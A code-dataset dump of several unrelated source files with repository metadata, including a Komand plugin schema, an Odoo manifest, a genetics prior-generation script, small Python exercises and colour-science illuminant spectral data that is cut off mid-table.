lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
43
2019-07-09T14:13:58.000Z
2022-03-28T12:04:46.000Z
# GENERATED BY KOMAND SDK - DO NOT EDIT import komand import json class Component: DESCRIPTION = "Get all domain users" class Input: DOMAIN = "domain" class Output: USERS = "users" class GetAllDomainUsersInput(komand.Input): schema = json.loads(""" { "type": "object", "title": "Variables", "properties": { "domain": { "type": "string", "title": "Domain", "description": "Domain to retrieve users from", "order": 1 } }, "required": [ "domain" ] } """) def __init__(self): super(self.__class__, self).__init__(self.schema) class GetAllDomainUsersOutput(komand.Output): schema = json.loads(""" { "type": "object", "title": "Variables", "properties": { "users": { "type": "array", "title": "Users", "description": "Users in the domain", "items": { "$ref": "#/definitions/user" }, "order": 1 } }, "required": [ "users" ], "definitions": { "user": { "type": "object", "title": "user", "properties": { "email": { "type": "string", "title": "Email", "description": "Email address", "order": 1 }, "full_name": { "type": "string", "title": "Full Name", "description": "Full name of the user", "order": 2 } }, "required": [ "email" ] } } } """) def __init__(self): super(self.__class__, self).__init__(self.schema)
17.806818
57
0.494576
137
1,567
5.474453
0.372263
0.042667
0.06
0.050667
0.245333
0.245333
0.245333
0.245333
0.114667
0.114667
0
0.003813
0.330568
1,567
87
58
18.011494
0.711153
0.023612
0
0.337838
1
0
0.698298
0
0
0
0
0
0
1
0.027027
false
0
0.027027
0
0.189189
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c793f9e0f6348ffedfbebb3f715d8f0ed101e40b
213
py
Python
plugins/wikipedia/config.py
su226/IdhagnBot
a5db1b6ab69fdf67fd6e53a63b34c6bc863d6609
[ "MIT" ]
2
2022-02-14T06:37:05.000Z
2022-03-30T12:18:15.000Z
plugins/wikipedia/config.py
su226/IdhagnBot
a5db1b6ab69fdf67fd6e53a63b34c6bc863d6609
[ "MIT" ]
null
null
null
plugins/wikipedia/config.py
su226/IdhagnBot
a5db1b6ab69fdf67fd6e53a63b34c6bc863d6609
[ "MIT" ]
null
null
null
from util.config import BaseConfig class Config(BaseConfig): __file__ = "wikipedia" zim: str = "" page_size: int = 10 width: int = 800 scale: float = 1 use_opencc: bool = True CONFIG = Config.load()
17.75
34
0.676056
29
213
4.758621
0.827586
0
0
0
0
0
0
0
0
0
0
0.035928
0.215962
213
11
35
19.363636
0.790419
0
0
0
0
0
0.042254
0
0
0
0
0
0
1
0
false
0
0.111111
0
0.888889
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
c79927c9f7f33f50a571792c9557b81f38a7a935
5,982
py
Python
prediction_codes/prior_generating.py
yiminghu/post-GWAS-pipeline
2c8a52ccf491e07c09b7e0826197ae0e6b959b53
[ "MIT" ]
8
2018-12-10T17:57:43.000Z
2021-04-16T18:47:39.000Z
prediction_codes/prior_generating.py
yiminghu/post-GWAS-pipeline
2c8a52ccf491e07c09b7e0826197ae0e6b959b53
[ "MIT" ]
1
2019-10-21T22:46:12.000Z
2019-10-24T13:16:19.000Z
prediction_codes/prior_generating.py
yiminghu/post-GWAS-pipeline
2c8a52ccf491e07c09b7e0826197ae0e6b959b53
[ "MIT" ]
6
2019-04-12T18:05:15.000Z
2021-10-31T05:19:50.000Z
#!/usr/bin/env python ### generate prior file from h5py file directly ### ### generate_h2_pT generates two prior files from the results of LDSC and a fixed annotation file ### ### generate_h2_from_user generates one prior file from the user provided prior file ### import h5py import os from collections import Counter from collections import defaultdict import datetime import math from argparse import ArgumentParser from os.path import isfile, isdir, join from sys import exit import numpy as np # Create the master argparser and returns the argparser object def get_argparser(): parser = ArgumentParser(prog="PriorGenerating", description="Generating two types of priors from Functional Annotations.") parser.add_argument('--h5py_file', required=True, help="Path to coord file" ", will be created if not present") parser.add_argument('--LDSC_results_file', required=True, help="Path to corresponding LDSC results") parser.add_argument('--output_h2', required=True, help="Path to generated h2 prior files") parser.add_argument('--output_pT', required=True, help="Path and prefix to generated pT prior files") parser.add_argument('--PS', type=str) return parser def process_args(args): pdict = {} pdict['h5py_file'] = args.h5py_file pdict['LDSC_results_file'] = args.LDSC_results_file pdict['output_h2'] = args.output_h2 pdict['output_pT'] = args.output_pT pdict['PS'] = [float(item) for item in args.PS.split(',')] return pdict def generate_h2_pT(pdict): h5py_file = pdict['h5py_file'] LDSC_results_file = pdict['LDSC_results_file'] output_h2 = pdict['output_h2'] PS = pdict['PS'] output_pT = pdict['output_pT'] # generate two types of prior files ### load the fixed input file ### if len(PS)==1: PS = [PS] h5f1 = h5py.File('/net/zhao/yh367/PleioPred/ref/GC1_GS7_Baseline53.h5','r') annot = h5f1['annot'][:] h5f1.close() h5f2 = h5py.File('/net/zhao/yh367/PleioPred/ref/1000G_SNP_info.h5','r') snp_chr = h5f2['snp_chr'][:] h5f2.close() ### get the snp list from h5py ### chromosomes_list = ['chrom_%d'%(x) for x in range(1,23)] chromosomes_list.append('chrom_X') df = h5py.File(h5py_file,'r') cord_data_g = df['cord_data'] SNPids = [] for chrom_str in chromosomes_list: if chrom_str in cord_data_g.keys(): g = cord_data_g[chrom_str] #Filter monomorphic SNPs (SNPs with variance equal to 0) snp_stds = g['snp_stds_ref'][...] snp_stds = snp_stds.flatten() ok_snps_filter = snp_stds>0 pval_derived_betas = g['betas'][...] pval_derived_betas = pval_derived_betas[ok_snps_filter] sids = g['sids'][...] SNPids = np.append(SNPids,sids[ok_snps_filter]) num_snps = len(SNPids) ### overlap with SNP in annot files ### stt1 = np.in1d(snp_chr[:,2],SNPids) ant1 = annot[stt1] snp_chr1 = snp_chr[stt1] ### check order ### if sum(snp_chr1[:,2]==SNPids)==len(SNPids): print 'Good!' else: print 'Shit happens, sorting ant1 to have the same order as SNPids' O1 = np.argsort(snp_chr1[:,2]) O2 = np.argsort(SNPids) O3 = np.argsort(O2) ant1 = ant1[O1][O3] ### load LDSC results ### LD_results = np.genfromtxt(LDSC_results_file,dtype=None,names=True) tau0 = LD_results['Coefficient'] ### get heritability ### sig2_0 = np.dot(ant1,tau0) ### adjust for minus terms ### sig2_0[sig2_0<0] = np.repeat(min(sig2_0[sig2_0>0]),np.sum(sig2_0<0)) np.sum(sig2_0) ### save prior file (h2) ### h2_out = [] for i in range(len(sig2_0)): h2_out.append(str(snp_chr1[:,0][i])+' '+str(snp_chr1[:,2][i])+' '+str(sig2_0[i])+'\n') #np.savetxt(output_h2,(snp_chr1[:,0],snp_chr1[:,1],sig2_0),fmt="%s") ff = open(output_h2,"w") ff.writelines(h2_out) ff.close() print 'h2 prior file saved at '+output_h2 ### start calculating p_T ### M = np.empty(annot.shape[1]) for i in range(len(M)): M[i] = np.sum(np.logical_and(annot[:,0],annot[:,i])) bgt = datetime.datetime.now() M_T = defaultdict(int) for i in range(annot.shape[0]): tup_i = tuple(annot[i]) M_T[tup_i] += 1 edt = datetime.datetime.now() print edt-bgt bgt = datetime.datetime.now() N_T = defaultdict(int) for i in range(ant1.shape[0]): tup_i = tuple(ant1[i]) N_T[tup_i] += 1 edt = datetime.datetime.now() print edt-bgt H0 = np.dot(M,tau0) N0 = float(len(SNPids)) sig2V = np.dot(ant1,tau0) # N_T = {x:annotV1.count(x) for x in annotV1} M_TV = np.empty(ant1.shape[0]) N_TV = np.empty(ant1.shape[0]) for i in range(ant1.shape[0]): tup_i = tuple(ant1[i]) M_TV[i] = M_T[tup_i] N_TV[i] = N_T[tup_i] for ps in PS: pr_p = (ps*N0/H0)*M_TV*sig2V/N_TV sig2 = M_TV*sig2V/N_TV m1 = min(pr_p[pr_p>0]) m2 = min(sig2[sig2>0]) pr_p[pr_p<0] = np.repeat(m1,np.sum(pr_p<0)) sig2[sig2<0] = np.repeat(m2,np.sum(sig2<0)) pr_p[pr_p>1] = np.repeat(1,np.sum(pr_p>1)) pT_out = [] for i in range(len(sig2)): pT_out.append(str(snp_chr1[:,0][i])+' '+str(snp_chr1[:,2][i])+' '+str(pr_p[i])+' '+str(sig2[i])+'\n') ff = open(output_pT+'_'+str(ps)+'_file.txt',"w") # ff = open(output_pT,"w") ff.writelines(pT_out) ff.close() print 'pT prior files saved at ' + output_pT+'_'+str(ps)+'_file.txt' print 'Suggested LD radius: ' + str(math.ceil(num_snps/3000.0)) return math.ceil(num_snps/3000.0) def main(pdict): print(pdict) generate_h2_pT(pdict) if __name__ == '__main__': args = get_argparser().parse_args() main(process_args(args))
33.233333
113
0.609662
913
5,982
3.808324
0.240964
0.018694
0.025884
0.018982
0.231234
0.173713
0.113316
0.063273
0.063273
0.063273
0
0.039578
0.239719
5,982
179
114
33.418994
0.724934
0.124206
0
0.089552
1
0
0.140058
0.019011
0
0
0
0
0
0
null
null
0
0.074627
null
null
0.059701
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
c79e5485b6cb8d4607bab71ef9eec7f55fc6c45e
685
py
Python
odoo/base-addons/website_event/__manifest__.py
LucasBorges-Santos/docker-odoo
53987bbd61f6119669b5f801ee2ad54695084a21
[ "MIT" ]
null
null
null
odoo/base-addons/website_event/__manifest__.py
LucasBorges-Santos/docker-odoo
53987bbd61f6119669b5f801ee2ad54695084a21
[ "MIT" ]
null
null
null
odoo/base-addons/website_event/__manifest__.py
LucasBorges-Santos/docker-odoo
53987bbd61f6119669b5f801ee2ad54695084a21
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- { 'name': 'Events', 'category': 'Website/Website', 'sequence': 166, 'summary': 'Publish events, sell tickets', 'website': 'https://www.odoo.com/page/events', 'description': "", 'depends': ['website', 'website_partner', 'website_mail', 'event'], 'data': [ 'data/event_data.xml', 'views/res_config_settings_views.xml', 'views/event_snippets.xml', 'views/event_templates.xml', 'views/event_views.xml', 'security/ir.model.access.csv', 'security/event_security.xml', ], 'demo': [ 'data/event_demo.xml' ], 'application': True, 'license': 'LGPL-3', }
26.346154
71
0.566423
72
685
5.236111
0.583333
0.084881
0.103448
0
0
0
0
0
0
0
0
0.00956
0.236496
685
25
72
27.4
0.711281
0.030657
0
0.086957
0
0
0.607251
0.241692
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
c79eb0ecef7a94222031bc0c2b1b579c378be92d
516
py
Python
tests/r/test_cholera.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
199
2017-07-24T01:34:27.000Z
2022-01-29T00:50:55.000Z
tests/r/test_cholera.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
46
2017-09-05T19:27:20.000Z
2019-01-07T09:47:26.000Z
tests/r/test_cholera.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
45
2017-07-26T00:10:44.000Z
2022-03-16T20:44:59.000Z
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.cholera import cholera def test_cholera(): """Test module cholera.py by downloading cholera.csv and testing shape of extracted data has 38 rows and 15 columns """ test_path = tempfile.mkdtemp() x_train, metadata = cholera(test_path) try: assert x_train.shape == (38, 15) except: shutil.rmtree(test_path) raise()
21.5
44
0.753876
72
516
5.125
0.569444
0.081301
0.130081
0
0
0
0
0
0
0
0
0.018913
0.180233
516
23
45
22.434783
0.853428
0.217054
0
0
0
0
0
0
0
0
0
0
0.066667
1
0.066667
false
0
0.466667
0
0.533333
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
c7ad388ff9c32dd07fdb4577cfbe55f8e794c606
244
py
Python
ejercicio1.py
Javifdz12/ejercicios_agregacion_y_composicionn
72010cbd530945702654c0a5b010b2e23e5dffcf
[ "Apache-2.0" ]
1
2022-03-27T17:29:34.000Z
2022-03-27T17:29:34.000Z
ejercicio1.py
emherraiz/ejercicios_agregacion_y_composicionn
cda40b33f0cd7578c1f6af1eca2f68c60db1d4e2
[ "Apache-2.0" ]
null
null
null
ejercicio1.py
emherraiz/ejercicios_agregacion_y_composicionn
cda40b33f0cd7578c1f6af1eca2f68c60db1d4e2
[ "Apache-2.0" ]
1
2022-03-22T12:01:50.000Z
2022-03-22T12:01:50.000Z
class lista: def __init__(self,list): self.list=list def tamaño(self): for i in range(len(self.list)): print(f'{i+1}- {self.list[i]}') print(len(self.list)) lista1=[1,2,3,4,5] lista(lista1).tamaño()
22.181818
43
0.561475
39
244
3.410256
0.512821
0.300752
0.165414
0
0
0
0
0
0
0
0
0.043716
0.25
244
11
44
22.181818
0.68306
0
0
0
0
0
0.085714
0
0
0
0
0
0
1
0.222222
false
0
0
0
0.333333
0.222222
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
c7b5917aab065023a847e54afd5e9a3dbfcdf913
143
py
Python
toughio/_io/output/csv/__init__.py
keurfonluu/ToughMeshio
9f374f5c72df4d76bf63ae4f87f2f2d4e52c81e0
[ "BSD-3-Clause-LBNL" ]
21
2020-03-05T20:03:58.000Z
2022-03-14T23:17:42.000Z
toughio/_io/output/csv/__init__.py
keurfonluu/ToughMeshio
9f374f5c72df4d76bf63ae4f87f2f2d4e52c81e0
[ "BSD-3-Clause-LBNL" ]
60
2020-02-14T22:53:01.000Z
2022-03-26T07:24:19.000Z
toughio/_io/output/csv/__init__.py
keurfonluu/ToughMeshio
9f374f5c72df4d76bf63ae4f87f2f2d4e52c81e0
[ "BSD-3-Clause-LBNL" ]
6
2020-02-28T08:15:36.000Z
2022-03-13T23:26:24.000Z
from .._helpers import register from ._csv import read, write __all__ = [ "read", "write", ] register("csv", [".csv"], read, write)
13
38
0.615385
17
143
4.823529
0.470588
0.329268
0
0
0
0
0
0
0
0
0
0
0.20979
143
10
39
14.3
0.725664
0
0
0
0
0
0.111888
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.285714
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c7cb250e0d45bae405797291c5218a9c2bdeaf3d
684
py
Python
Desafios/Mundo 1/ex022.py
lucasllimati/CursoEmVideo
01d75626baf8b82f141d62f681e55a9bda0099fd
[ "MIT" ]
null
null
null
Desafios/Mundo 1/ex022.py
lucasllimati/CursoEmVideo
01d75626baf8b82f141d62f681e55a9bda0099fd
[ "MIT" ]
null
null
null
Desafios/Mundo 1/ex022.py
lucasllimati/CursoEmVideo
01d75626baf8b82f141d62f681e55a9bda0099fd
[ "MIT" ]
null
null
null
# EXERCÍCIO 22 # Crie um programa que leia o nome completo de uma pessoa e mostre: # O nome com todas as letras maiúsculas e minúsculas. # Quantas letras ao todo (sem considerar espaços). # Quantas letras tem o primeiro nome. #strip - remove espaços desnecessários nome = str(input('Digite o seu nome completo: ')).strip() pnome = nome.split() print('Nome completo: {}'.format(nome).title()) print('Nome nome em maiúsculo é: {}'.format(nome.upper())) print('Nome nome em minúsculo é: {}'.format(nome.lower())) print('Seu nome completo possui {} letras'.format(len(nome) - nome.count(' '))) print('Seu primeiro nome é {} e possui {} letras'.format(pnome[0].upper(), len(pnome[0])))
40.235294
90
0.707602
103
684
4.699029
0.495146
0.099174
0.061983
0.061983
0
0
0
0
0
0
0
0.006791
0.138889
684
16
91
42.75
0.814941
0.368421
0
0
0
0
0.417453
0
0
0
0
0.0625
0
1
0
false
0
0
0
0
0.714286
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
1
0
2
c7d8beecfc2105f1a3a7f2cf084937801f5eb9e2
956
py
Python
ciphey/basemods/Checkers/format.py
AlexandruValeanu/Ciphey
58323db4443b0d29d7797dadab88955a02da8812
[ "MIT" ]
9,908
2020-06-06T01:06:50.000Z
2022-03-31T21:22:57.000Z
ciphey/basemods/Checkers/format.py
AlexandruValeanu/Ciphey
58323db4443b0d29d7797dadab88955a02da8812
[ "MIT" ]
423
2020-05-30T11:44:37.000Z
2022-03-18T03:15:30.000Z
ciphey/basemods/Checkers/format.py
sthagen/python-ciphey
ba045142ec3b5183c46ff5e241924091f1281033
[ "MIT" ]
714
2020-06-09T20:24:41.000Z
2022-03-29T15:28:53.000Z
import json from typing import Dict, Optional import logging from rich.logging import RichHandler from ciphey.iface import Checker, Config, ParamSpec, T, registry @registry.register class JsonChecker(Checker[str]): """ This object is effectively a prebuilt quorum (with requirement 1) of common patterns """ def check(self, text: T) -> Optional[str]: logging.debug("Trying json checker") # https://github.com/Ciphey/Ciphey/issues/389 if text.isdigit(): return None try: json.loads(text) return "" except ValueError: return None def getExpectedRuntime(self, text: T) -> float: # TODO: actually bench this return 1e-7 * len(text) # From benchmarks I found online def __init__(self, config: Config): super().__init__(config) @staticmethod def getParams() -> Optional[Dict[str, ParamSpec]]: pass
23.9
88
0.633891
111
956
5.387387
0.621622
0.026756
0.0301
0
0
0
0
0
0
0
0
0.008608
0.270921
956
39
89
24.512821
0.849354
0.194561
0
0.086957
0
0
0.025266
0
0
0
0
0.025641
0
1
0.173913
false
0.043478
0.217391
0.043478
0.608696
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
2
c7d92fa5c1230715f8a7253b3eb522d1492661ee
78,164
py
Python
colour/colorimetry/datasets/illuminants/sds.py
MaxSchambach/colour
3f3685d616fda4be58cec20bc1e16194805d7e2d
[ "BSD-3-Clause" ]
null
null
null
colour/colorimetry/datasets/illuminants/sds.py
MaxSchambach/colour
3f3685d616fda4be58cec20bc1e16194805d7e2d
[ "BSD-3-Clause" ]
null
null
null
colour/colorimetry/datasets/illuminants/sds.py
MaxSchambach/colour
3f3685d616fda4be58cec20bc1e16194805d7e2d
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Illuminants Spectral Distributions ================================== Defines *CIE* illuminants spectral distributions for the *CIE 1931 2 Degree Standard Observer*. The *CIE* illuminants data is in the form of a *dict* of :class:`colour.SpectralDistribution` classes as follows:: {'name': SpectralDistribution, ..., 'name': SpectralDistribution} The following *CIE* illuminants are available: - CIE Standard Illuminant A - CIE Illuminant B - CIE Illuminant C - CIE Illuminant D Series (D50, D55, D60, D65, D75) - CIE Illuminant E - Illuminants F Series (FL1, FL2, FL3, FL4, FL5, FL6, FL7, FL8, FL9, FL10, FL11, FL12, FL3.1, FL3.10, FL3.11, FL3.12, FL3.13, FL3.14, FL3.15, FL3.2, FL3.3, FL3.4, FL3.5, FL3.6, FL3.7, FL3.8, FL3.9) - High Pressure Discharge Lamps (HP1, HP2, HP3, HP4, HP5) See Also -------- `Illuminants Jupyter Notebook <http://nbviewer.jupyter.org/github/colour-science/colour-notebooks/\ blob/master/notebooks/colorimetry/illuminants.ipynb>`_ Notes ----- - The spectral distributions are provided at 5 nm interval. - *CIE Illuminant D Series* *D60* spectral distribution is calculated using :func:`colour.sd_CIE_illuminant_D_series` definition. References ---------- - :cite:`CIEce` : CIE. (2004). CIE 15:2004 Tables Data. Retrieved from https://law.resource.org/pub/us/cfr/ibr/003/cie.15.2004.tables.xls - :cite:`CIEcf` : CIE. (n.d.). CIE Spectral Data. Retrieved from http://files.cie.co.at/204.xls """ from __future__ import division, unicode_literals from colour.algebra import LinearInterpolator from colour.colorimetry.spectrum import SpectralDistribution from colour.utilities import CaseInsensitiveMapping __author__ = 'Colour Developers' __copyright__ = 'Copyright (C) 2013-2019 - Colour Developers' __license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause' __maintainer__ = 'Colour Developers' __email__ = 'colour-developers@colour-science.org' __status__ = 'Production' __all__ = ['ILLUMINANTS_SDS_DATA', 'ILLUMINANTS_SDS'] ILLUMINANTS_SDS_DATA = { 'A': { 300: 0.930483, 305: 1.128210, 310: 1.357690, 315: 1.622190, 320: 1.925080, 325: 2.269800, 330: 2.659810, 335: 3.098610, 340: 3.589680, 345: 4.136480, 350: 4.742380, 355: 5.410700, 360: 6.144620, 365: 6.947200, 370: 7.821350, 375: 8.769800, 380: 9.795100, 385: 10.899600, 390: 12.085300, 395: 13.354300, 400: 14.708000, 405: 16.148000, 410: 17.675300, 415: 19.290700, 420: 20.995000, 425: 22.788300, 430: 24.670900, 435: 26.642500, 440: 28.702700, 445: 30.850800, 450: 33.085900, 455: 35.406800, 460: 37.812100, 465: 40.300200, 470: 42.869300, 475: 45.517400, 480: 48.242300, 485: 51.041800, 490: 53.913200, 495: 56.853900, 500: 59.861100, 505: 62.932000, 510: 66.063500, 515: 69.252500, 520: 72.495900, 525: 75.790300, 530: 79.132600, 535: 82.519300, 540: 85.947000, 545: 89.412400, 550: 92.912000, 555: 96.442300, 560: 100.000000, 565: 103.582000, 570: 107.184000, 575: 110.803000, 580: 114.436000, 585: 118.080000, 590: 121.731000, 595: 125.386000, 600: 129.043000, 605: 132.697000, 610: 136.346000, 615: 139.988000, 620: 143.618000, 625: 147.235000, 630: 150.836000, 635: 154.418000, 640: 157.979000, 645: 161.516000, 650: 165.028000, 655: 168.510000, 660: 171.963000, 665: 175.383000, 670: 178.769000, 675: 182.118000, 680: 185.429000, 685: 188.701000, 690: 191.931000, 695: 195.118000, 700: 198.261000, 705: 201.359000, 710: 204.409000, 715: 207.411000, 720: 210.365000, 725: 213.268000, 730: 216.120000, 735: 218.920000, 740: 221.667000, 745: 224.361000, 750: 227.000000, 755: 229.585000, 760: 232.115000, 765: 234.589000, 770: 237.008000, 775: 239.370000, 780: 241.675000 }, 'B': { 320: 0.02, 325: 0.26, 330: 0.50, 335: 1.45, 340: 2.40, 345: 4.00, 350: 5.60, 355: 7.60, 360: 9.60, 365: 12.40, 370: 15.20, 375: 18.80, 380: 22.40, 385: 26.85, 390: 31.30, 395: 36.18, 400: 41.30, 405: 46.62, 410: 52.10, 415: 57.70, 420: 63.20, 425: 68.37, 430: 73.10, 435: 77.31, 440: 80.80, 445: 83.44, 450: 85.40, 455: 86.88, 460: 88.30, 465: 90.08, 470: 92.00, 475: 93.75, 480: 95.20, 485: 96.23, 490: 96.50, 495: 95.71, 500: 94.20, 505: 92.37, 510: 90.70, 515: 89.95, 520: 89.50, 525: 90.43, 530: 92.20, 535: 94.46, 540: 96.90, 545: 99.16, 550: 101.00, 555: 102.20, 560: 102.80, 565: 102.92, 570: 102.60, 575: 101.90, 580: 101.00, 585: 100.07, 590: 99.20, 595: 98.44, 600: 98.00, 605: 98.08, 610: 98.50, 615: 99.06, 620: 99.70, 625: 100.36, 630: 101.00, 635: 101.56, 640: 102.20, 645: 103.05, 650: 103.90, 655: 104.59, 660: 105.00, 665: 105.08, 670: 104.90, 675: 104.55, 680: 103.90, 685: 102.84, 690: 101.60, 695: 100.38, 700: 99.10, 705: 97.70, 710: 96.20, 715: 94.60, 720: 92.90, 725: 91.10, 730: 89.40, 735: 88.00, 740: 86.90, 745: 85.90, 750: 85.20, 755: 84.80, 760: 84.70, 765: 84.90, 770: 85.40, 775: 86.10, 780: 87.00 }, 'C': { 300: 0.00, 305: 0.00, 310: 0.00, 315: 0.00, 320: 0.01, 325: 0.20, 330: 0.40, 335: 1.55, 340: 2.70, 345: 4.85, 350: 7.00, 355: 9.95, 360: 12.90, 365: 17.20, 370: 21.40, 375: 27.50, 380: 33.00, 385: 39.92, 390: 47.40, 395: 55.17, 400: 63.30, 405: 71.81, 410: 80.60, 415: 89.53, 420: 98.10, 425: 105.80, 430: 112.40, 435: 117.75, 440: 121.50, 445: 123.45, 450: 124.00, 455: 123.60, 460: 123.10, 465: 123.30, 470: 123.80, 475: 124.09, 480: 123.90, 485: 122.92, 490: 120.70, 495: 116.90, 500: 112.10, 505: 106.98, 510: 102.30, 515: 98.81, 520: 96.90, 525: 96.78, 530: 98.00, 535: 99.94, 540: 102.10, 545: 103.95, 550: 105.20, 555: 105.67, 560: 105.30, 565: 104.11, 570: 102.30, 575: 100.15, 580: 97.80, 585: 95.43, 590: 93.20, 595: 91.22, 600: 89.70, 605: 88.83, 610: 88.40, 615: 88.19, 620: 88.10, 625: 88.06, 630: 88.00, 635: 87.86, 640: 87.80, 645: 87.99, 650: 88.20, 655: 88.20, 660: 87.90, 665: 87.22, 670: 86.30, 675: 85.30, 680: 84.00, 685: 82.21, 690: 80.20, 695: 78.24, 700: 76.30, 705: 74.36, 710: 72.40, 715: 70.40, 720: 68.30, 725: 66.30, 730: 64.40, 735: 62.80, 740: 61.50, 745: 60.20, 750: 59.20, 755: 58.50, 760: 58.10, 765: 58.00, 770: 58.20, 775: 58.50, 780: 59.10 }, 'D50': { 300: 0.019, 305: 1.035, 310: 2.051, 315: 4.914, 320: 7.778, 325: 11.263, 330: 14.748, 335: 16.348, 340: 17.948, 345: 19.479, 350: 21.010, 355: 22.476, 360: 23.942, 365: 25.451, 370: 26.961, 375: 25.724, 380: 24.488, 385: 27.179, 390: 29.871, 395: 39.589, 400: 49.308, 405: 52.910, 410: 56.513, 415: 58.273, 420: 60.034, 425: 58.926, 430: 57.818, 435: 66.321, 440: 74.825, 445: 81.036, 450: 87.247, 455: 88.930, 460: 90.612, 465: 90.990, 470: 91.368, 475: 93.238, 480: 95.109, 485: 93.536, 490: 91.963, 495: 93.843, 500: 95.724, 505: 96.169, 510: 96.613, 515: 96.871, 520: 97.129, 525: 99.614, 530: 102.099, 535: 101.427, 540: 100.755, 545: 101.536, 550: 102.317, 555: 101.159, 560: 100.000, 565: 98.868, 570: 97.735, 575: 98.327, 580: 98.918, 585: 96.208, 590: 93.499, 595: 95.593, 600: 97.688, 605: 98.478, 610: 99.269, 615: 99.155, 620: 99.042, 625: 97.382, 630: 95.722, 635: 97.290, 640: 98.857, 645: 97.262, 650: 95.667, 655: 96.929, 660: 98.190, 665: 100.597, 670: 103.003, 675: 101.068, 680: 99.133, 685: 93.257, 690: 87.381, 695: 89.492, 700: 91.604, 705: 92.246, 710: 92.889, 715: 84.872, 720: 76.854, 725: 81.683, 730: 86.511, 735: 89.546, 740: 92.580, 745: 85.405, 750: 78.230, 755: 67.961, 760: 57.692, 765: 70.307, 770: 82.923, 775: 80.599, 780: 78.274 }, 'D55': { 300: 0.024, 305: 1.048, 310: 2.072, 315: 6.648, 320: 11.224, 325: 15.936, 330: 20.647, 335: 22.266, 340: 23.885, 345: 25.851, 350: 27.817, 355: 29.219, 360: 30.621, 365: 32.464, 370: 34.308, 375: 33.446, 380: 32.584, 385: 35.335, 390: 38.087, 395: 49.518, 400: 60.949, 405: 64.751, 410: 68.554, 415: 70.065, 420: 71.577, 425: 69.746, 430: 67.914, 435: 76.760, 440: 85.605, 445: 91.799, 450: 97.993, 455: 99.228, 460: 100.463, 465: 100.188, 470: 99.913, 475: 101.326, 480: 102.739, 485: 100.409, 490: 98.078, 495: 99.379, 500: 100.680, 505: 100.688, 510: 100.695, 515: 100.341, 520: 99.987, 525: 102.098, 530: 104.210, 535: 103.156, 540: 102.102, 545: 102.535, 550: 102.968, 555: 101.484, 560: 100.000, 565: 98.608, 570: 97.216, 575: 97.482, 580: 97.749, 585: 94.590, 590: 91.432, 595: 92.926, 600: 94.419, 605: 94.780, 610: 95.140, 615: 94.680, 620: 94.220, 625: 92.334, 630: 90.448, 635: 91.389, 640: 92.330, 645: 90.592, 650: 88.854, 655: 89.586, 660: 90.317, 665: 92.133, 670: 93.950, 675: 91.953, 680: 89.956, 685: 84.817, 690: 79.677, 695: 81.258, 700: 82.840, 705: 83.842, 710: 84.844, 715: 77.539, 720: 70.235, 725: 74.768, 730: 79.301, 735: 82.147, 740: 84.993, 745: 78.437, 750: 71.880, 755: 62.337, 760: 52.793, 765: 64.360, 770: 75.927, 775: 73.872, 780: 71.818 }, 'D60': { 300: 0.029300000000000, 305: 1.289900000000000, 310: 2.550500000000000, 315: 9.041250000000000, 320: 15.532000000000000, 325: 21.966749999999998, 330: 28.401499999999999, 335: 29.958349999999996, 340: 31.515199999999993, 345: 33.784249999999993, 350: 36.053299999999993, 355: 37.231000000000002, 360: 38.408700000000003, 365: 40.673299999999998, 370: 42.937899999999999, 375: 42.088699999999989, 380: 41.239499999999992, 385: 43.844649999999994, 390: 46.449799999999996, 395: 59.301949999999998, 400: 72.154099999999985, 405: 76.222049999999996, 410: 80.289999999999992, 415: 81.534099999999995, 420: 82.778199999999998, 425: 80.177449999999993, 430: 77.576700000000002, 435: 86.598399999999998, 440: 95.620100000000008, 445: 101.762249999999995, 450: 107.904399999999995, 455: 108.711099999999988, 460: 109.517799999999994, 465: 108.622950000000003, 470: 107.728099999999998, 475: 108.691100000000006, 480: 109.654100000000000, 485: 106.669200000000004, 490: 103.684299999999993, 495: 104.449399999999997, 500: 105.214499999999987, 505: 104.814899999999994, 510: 104.415300000000002, 515: 103.469750000000005, 520: 102.524200000000008, 525: 104.290850000000006, 530: 106.057500000000005, 535: 104.685499999999990, 540: 103.313499999999991, 545: 103.426649999999995, 550: 103.539800000000014, 555: 101.769899999999993, 560: 100.000000000000000, 565: 98.375900000000001, 570: 96.751799999999989, 575: 96.731899999999996, 580: 96.712000000000003, 585: 93.295199999999994, 590: 89.878399999999999, 595: 90.907100000000000, 600: 